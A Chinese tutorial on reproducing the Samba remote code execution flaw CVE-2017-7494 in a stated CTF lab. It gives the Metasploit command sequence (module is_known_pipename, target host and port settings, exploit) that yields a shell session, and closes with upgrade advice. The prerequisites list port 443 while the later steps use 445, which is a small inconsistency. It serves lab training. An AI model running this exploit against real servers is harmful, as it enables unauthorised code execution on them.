samba远程命令执行漏洞 | |
---|---|
CVE编号 | CVE-2017-7494 |
影响版本 | Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本 |
危害 | 命令执行/代码执行 |
级别 | 高 |
samba运行连接一个远程的命名管道,并且会在连接前调用is_known_pipename()函数验证管道名称是否合法,但是该函数不会检查管道名称中的特殊字符,加载了使用该名称的动态链接库,导致攻击者可以构造一个恶意的动态链接库文件,执行任意代码,相当于Linux版的永恒之蓝
目标开放了443端口 具有共享文件写入权限 共享目录的网络路径
为了给大家提供一个漏洞复现的环境,找到了两个环境给大家使用
漏洞环境 | |
---|---|
环境一(自己搭建) | https://pan.baidu.com/s/1QueT0MgKqTK-4Y1pIThHSw (提取码:gc29) |
环境二 | http://ctf.vfree.ltd/challenges#easy_smb-113 (请勿破坏环境,谢谢大佬们~) |
1.打开kali,打开命令行
2.打开msfconsole,由于metasploit已经集成了该漏洞利用的payload,所以直接用kali复现即可
3.payload名字是is_known_pipename,如果忘了或者不知道payload的路径,可以输入命令
search is_known_pipename
这个关键词去搜索payload路径,返回了
exploit/linux/samba/is_known_pipename
扩展一下知识,返回的路径第一个exploit就是攻击的意思,攻击模块,还有一个模块叫做auxiliary,意思是验证某个漏洞是否存在,这两个也是较为常用
使用攻击模块,键入以下命令
use exploit/linux/samba/is_known_pipename
键入命令查看需要配置的选项
show options
在Required一列中,凡是是标明yes的,都要填入信息,也就是说利用该漏洞,要填入RHOST和RPORT,由于环境二是搭建在docker上面的,我把445端口映射到10003端口,这里的445要修改成10003,执行一下两个命令
// set+Name+内容
set rhost ctf.vfree.ltd
set rport 10003
然后在使用show options去查看是否设置成功
可以看到已经设置成功,接下来使用
exploit
命令发起攻击
稍等片刻,如果出现了session 1的字样则代表攻击成功
执行命令验证
攻击成功
修复建议 | |
---|---|
修复建议 | 升级samba到4.6.4/4.5.10/4.4.14甚至更高的版本 |